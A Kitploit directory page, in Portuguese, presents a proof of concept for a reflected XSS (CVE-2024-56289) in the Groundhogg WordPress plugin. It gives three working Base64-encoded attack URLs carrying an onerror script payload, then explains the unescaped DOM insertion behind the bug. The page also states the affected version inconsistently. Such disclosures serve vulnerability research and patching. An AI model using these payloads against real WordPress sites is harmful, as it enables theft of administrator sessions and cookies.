Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-56289 — Prova de conceito de exploit para uma vulnerabilidade de XSS refletido no plugin Groundhogg para WordPress, demonstrando injeção de script não autenticada por meio de parâmetros de URL manipulados. | Kitploit
Ferramentas/GitHubGitHub/dottak/cve-2024-56289
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubdottak/cve-2024-56289

CVE-2024-56289

Prova de conceito de exploit para uma vulnerabilidade de XSS refletido no plugin Groundhogg para WordPress, demonstrando injeção de script não autenticada por meio de parâmetros de URL manipulados.

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-56289

1️⃣ Tipo de componente

Plugin WordPress

2️⃣ Detalhes do componente

Nome do componente WordPress CRM, Email & Marketing Automation for WordPress | Award Winner — Groundhogg

Versão vulnerável <= 3.7.3.2

Slug do componente groundhogg

Link do componente https://wordpress.org/plugins/groundhogg/

3️⃣ OWASP 2017: TOP 10

Classe de vulnerabilidade A3: Injeção

Tipo de vulnerabilidade Cross Site Scripting (XSS)

4️⃣ Pré-requisito

Não autenticado

5️⃣ Detalhes da vulnerabilidade

👉 Descrição curta

As versões 3.7.3.3 e anteriores do plugin Groundhogg contêm uma vulnerabilidade de Cross Site Scripting Refletido devido à validação de entrada insuficiente e ao processamento de escape dos parâmetros de URL. Esta vulnerabilidade ocorre ao utilizar a funcionalidade de filtro de pesquisa nos menus 'Contacts', 'Funnels' e 'Logs' do painel do plugin.

Através desta vulnerabilidade, um utilizador não autenticado pode criar um URL contendo scripts maliciosos e, quando outros utilizadores acedem a este URL, o script é executado no navegador deles, podendo levar à fuga de informações de cookies. Isto representa um sério risco de segurança, pois pode ser explorado particularmente para sequestrar sessões de utilizadores com privilégios de administrador.

👉 Como reproduzir (PoC)

  1. Prepare um site WordPress com o plugin 'Groundhogg' <=3.7.3.2 ativado.

    Como este plugin utiliza a REST API, o Permalink deve ser definido como Post name.

  2. Em seguida, aceder aos links de cada menu abaixo irá acionar uma vulnerabilidade de XSS Refletido.

    • Menu Contacts(/wp-admin/admin.php?page=gh_contacts)

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0
      

      image

    • Menu Funnels(/wp-admin/admin.php?page=gh_funnels)

      Para reproduzir a vulnerabilidade de XSS neste menu, deve existir pelo menos 1 Funnel.

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d
      

      image

    • Menu Logs(/admin.php?page=gh_events)

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ
      

      image

👉 Informações adicionais (opcional)

[Causa da vulnerabilidade]

Ao realizar pesquisas com filtros nos menus 'Contacts', 'Funnels' e 'Logs' do painel do plugin Groundhogg, as definições de filtro são codificadas em Base64 antes de serem passadas como parâmetros de URL.

Por exemplo, ao definir uma pesquisa com filtro no menu 'Contacts' onde 'First Name' é definido como 'Test', o parâmetro de URL filters recebe os seguintes dados:

root@kitploit:~
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

image

Quando o valor introduzido no parâmetro de URL filters é descodificado em Base64, pode ver os seguintes dados.

root@kitploit:~
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

image

Quando uma pesquisa com filtro é solicitada, a função scripts da classe Contacts_Page no ficheiro /wp-content/plugins/groundhogg/admin/contacts/contacts-page.php é executada.

Neste momento, o parâmetro de URL filters codificado em Base64 é descodificado e passado para a variável ContactSearch na área Javascript da resposta HTTP.

image

Portanto, pode verificar que nos dados da resposta HTTP, os dados codificados em Base64 passados para o parâmetro de URL filters são descodificados antes de serem entregues.

image

Posteriormente, os dados descodificados são inseridos diretamente nos elementos DOM que exibem os resultados da pesquisa com filtro através da lógica JavaScript.

image

Através disto, o termo de pesquisa com filtro (&lt;img src="x" onerror="alert(document.cookie)"&gt;) introduzido no PoC é passado como uma variável no código Javascript sem processamento de escape e é inserido e executado nos elementos DOM pela lógica do cliente.

image

image

Como resultado, devido ao processamento de escape insuficiente dos dados de pesquisa com filtro, valores contendo scripts maliciosos podem ser executados diretamente, e esta vulnerabilidade ocorre da mesma forma em todos os menus 'Contacts', 'Funnels' e 'Logs'.

6️⃣ Demonstração do exploit

video

7️⃣ Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2024-56289
Baixar ferramenta